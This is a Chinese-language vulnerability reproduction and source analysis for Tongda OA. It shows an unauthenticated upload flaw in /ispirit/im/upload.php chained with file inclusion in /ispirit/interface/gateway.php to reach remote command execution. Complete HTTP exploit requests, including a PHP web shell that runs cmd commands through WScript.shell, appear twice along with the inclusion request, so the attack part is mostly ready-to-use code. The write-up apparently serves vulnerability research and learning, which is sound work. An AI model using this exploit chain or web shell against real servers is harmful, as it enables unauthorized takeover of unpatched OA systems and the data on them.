漏洞复现

影响版本:

V11版
2017
2016
2015
2013
2013增强版

测试环境:

11.2.191129

漏洞复现:

通过 /ispirit/im/upload.php 页面,未授权文件上传一个一句话文件,可获得路径和文件名。

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled.png

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.235.7
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

/ispirit/interface/gateway.php 存在文件包含漏洞,包含刚刚所上传的文件(/general/../../attach/im/ 为默认路径,2012/969649651.jpg 为上图获得的文件名和目录名),包含文件从而执行命令。

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled 1.png

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.235.7
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=v73r3edjd8hk4n6vuiuv3itsp5; KEY_RANDOMDATA=2283
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 66

json={"url":"/general/../../attach/im/2012/969649651.jpg"}&cmd=dir

漏洞分析:

直接打开php源码头部,带有Zend关键字。

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%202.png

通过Zend在线解密php代码http://dezend.qiling.org/free/

查看第4行至13行,p参数不为空即可绕过身份验证。

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%203.png

如下图DEST_UID 参数不为0,即可进入inc/utility_file.php中的upload函数

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%204.png

如下图upload函数,会进入is_uploadable函数验证后缀是否为php

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%205.png

如下验证是否为php后缀,可通过php.绕过验证,但是默认不存储在wwwroot中,所以没用

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%206.png

构造文件上传poc,p不为空,upload_mode为2,DEST_UID不为0,文件名参数为ATTACHMENT

POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.235.7
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

/ispirit/interface/gateway.php 存在文件包含漏洞

p为空即可绕过身份认证,如下可知,可从json中获取url参数的值

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%207.png

如下38行需校验传递参数中是否包含general/、ispirit/、module/ ,如果包含url参数的值即可执行include_once,从而文件包含

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%208.png

如下图,成功成功文件包含并代码执行

https://cdn.jsdelivr.net/gh/H1dery/H1dery@master/20210110/tongda_oa_rce/Untitled%209.png

网上有很多复现的文章,但是如果是为了学习的话最好还是自己通读一边代码。